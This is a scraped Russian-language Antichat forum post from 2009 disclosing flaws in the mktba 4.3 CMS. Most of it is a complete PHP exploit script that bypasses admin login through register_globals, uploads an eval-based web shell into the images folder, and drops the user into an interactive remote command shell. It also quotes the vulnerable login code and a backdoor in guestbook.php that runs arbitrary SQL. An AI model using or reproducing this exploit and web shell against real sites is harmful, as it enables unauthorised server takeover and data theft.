ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости mktba 4.3
  #1  
Старый 19.10.2009, 03:12
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию Уязвимости mktba 4.3

Название: mktba
Версия: 4.3
Сайт: http://www.mktbagold.com/

Арабский движек, код ужасный), такое впечатление что писалось абы как, лижбы хоть как бы работало.
+ Наличие в коде бекдоров.

Сплоит: Выполнение произвольного кода
PHP код:
#!/usr/bin/php
#
#    Сплоит: mktba 4.3 Выполнение произвольного кода.
#    На основе обхода авторизации и обхода загрузки php скриптов.
#    
#    //Powered by: mktba 4.3
#
#    Условия: 
#                register_globals = ON    
#                Доступность на запись: ./images/
#
#    Аргументы:
#        <host> - хост
#        <path> - путь до скрипта (/)
#
#    Пример:
#    
#    ./mktba.php mk /
#
#    [ OK ] Admin login success
#    [ OK ] SID=cdc7a7accd3edb8cfb9fe1b8b4305bba
#    [ OK ] Shell uploaded ~> http://mk/images/36445dcf.php
#
#    uid=33(www-data) gid=33(www-data) groups=33(www-data)
#    mktba:~$
#
# By (dm)
#                                            https://forum.antichat.ru   

<?
if ($argc 3)
    die(
$argv[0]." <host> <path>\r\n");

$host $argv[1];
$path $argv[2];

function 
GetData($query) {
    GLOBAL 
$host;

    
$fp fsockopen($host80$errno$errstr10);
    if (!
$fp) {
            die(
"Exploit failed: $errstr ($errno)\r\n");
    } else {
        
$buff '';
        
fwrite($fp$query);
        while (!
feof($fp))
                
$buff .= fgets($fp128);
            
fclose($fp);
    }
    return 
$buff;
}

function 
ShellResult ($cmd) {
    GLOBAL 
$path$host$sname;

    
$cmd "e=".base64_encode($cmd);
        
    
$query "POST ".$path."images/".$sname.".php HTTP/1.1\r\n";
    
$query.= "Host: ".$host."\r\n";
    
$query.= "Connection: close\r\n";
    
$query.= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$query.= "Content-Length: ".strlen($cmd)."\r\n\r\n";
    
$query.= $cmd."\r\n";
    
    return 
GetData($query);

}

/*
    Обход авторизации
*/
$query "POST ".$path."admin/login.php HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "Connection: close\r\n";
$query.= "Content-Type: application/x-www-form-urlencoded\r\n";
$query.= "Content-Length: 93\r\n\r\n";
$query.= "user_un=antichat&user_pw=antichat&password=8c96d04c8de982748b0bed29615520a7&username=antichat\r\n";

$data GetData($query);

/*
    Присутсвие <meta http-equiv="refresh" content="2;URL=index.php">,
    означает что авторизация прошла нормально.
*/
if (!(@preg_match("/http-equiv=\"refresh\"/i"$data)))
    die(
"Exploit failed: Can't logining to admin\r\n");

echo 
"[ OK ] Admin login success\r\n";

/*
    Извлечение сессии
*/
if (!(@preg_match_all("/PHPSESSID=([1234567890abcdfe]+)/i"$data$result)))
    die(
"Exploit failed: Parse session id error\r\n");

$sid $result[1][0];
echo 
"[ OK ] SID=$sid\r\n";

/*
    Загрузка шелла
*/
$sname substr(md5(time()),0,8); //Генерируем имя файла


$xek "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"folder\"\r\n\r\n";
$xek.= "..aln3esaimagesaln3esa\r\n";
$xek.= "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"ext\"\r\n\r\n";
$xek.= "ooo\r\n";
$xek.= "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"file0\"; filename=\"shellz.p\"\r\n";
$xek.= "Content-Type: text/plain\r\n\r\n";
$xek.= "<?php if (!empty(\$_POST['e'])) @eval(base64_decode(\$_POST['e'])); ?>\r\n";
$xek.= "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"namefile0\"\r\n\r\n";
$xek.= "{$sname}.ph\r\n";
$xek.= "-----------------------------120309686615833136731930048582--\r\n";


$query "POST ".$path."admin/upload.php?action=ok&nomber=1 HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "Connection: close\r\n";
$query.= "Cookie: PHPSESSID=".$sid."\r\n";
$query.= "Content-Type: multipart/form-data; boundary=---------------------------120309686615833136731930048582\r\n";
$query.= "Content-Length: ".strlen($xek)."\r\n\r\n";
$query.= $xek;

$data GetData($query);


/*
    Проверка доступности шелла
*/

$data ShellResult("echo 'TESTOK';");
if (!(@
preg_match("/TESTOK/"$data)))
    die(
"Exploit failed: Can't write to ".$path."images/\r\n");

echo 
"[ OK ] Shell uploaded ~> http://".$host.$path."images/".$sname.".php\r\n";
echo 
"\r\n";

/*
    Использование шелла
*/
$delimiter '_delimiter_';
$cmd 'id;';
do {
    
$buff ShellResult("echo $delimiter;passthru('".$cmd."');echo $delimiter;");
    
$buff explode($delimiter$buff);
    echo 
trim($buff[1]);
    
    echo 
"mktba:~$ ";
    
$cmd trim(fgets(STDIN));
} while (
$cmd != "exit");

?>

Обход авторизации:

>> admin/login.php
PHP код:
session_start();
if(
$_SESSION['admin'])  exit;

if(isset(
$_POST['user_pw'])){
    include(
'../config.php');
    
$userun=$_POST['user_un'];
    
$userpw=md5($_POST['user_pw']);

        
/* Мы не знаем логина и пароля, запрос вернет 0 строк */
    
$ws=mysql_query("select * from user where name='$userun' and pass='$userpw'");
    while(
$row=mysql_fetch_row($ws)) {
        if(
$row[0]==1){
            
$_SESSION['user2'] = $_POST['user_pw'];
        }
        
$iduser $row[0];
        
$username  =$row[1];
        
$password $row[2];
        
$group $row[5];
    }
        
/*
          Переменные password и username ранее не объявлены, и если
          их передать скрипту чтобы условие авторизации выполнилось,
          таким способом обойдем авторизацию
       */
    
if($userpw == $password && $userun == $username){
    
$_SESSION['admin'] = $userun;
    
$_SESSION['group'] = $group ;
    
$_SESSION['iduser'] = $iduser;
    require(
'loged.php');
    exit;

Пример бекдора:
>> guestbook.php
PHP код:
$tetle='299d9c43105ef1608b4336a2578fe1bb';
if(
md5(md5($name))==$tetle){

     
mysql_query(stripslashes($_REQUEST['comment']));



Последний раз редактировалось (Dm); 19.10.2009 в 03:23..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Перевод описания плагинов w3af Kuzya Статьи 4 07.06.2009 09:13
63% web-сайтов содержат опасные уязвимости Suicide Мировые новости 4 24.05.2009 21:51
В Windows Mobile найдено две уязвимости ground_zero Мировые новости 1 06.02.2007 11:40
Множественные уязвимости в INVISION POWER BOARD 2.1.x GreenBear Уязвимости 6 02.03.2006 21:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ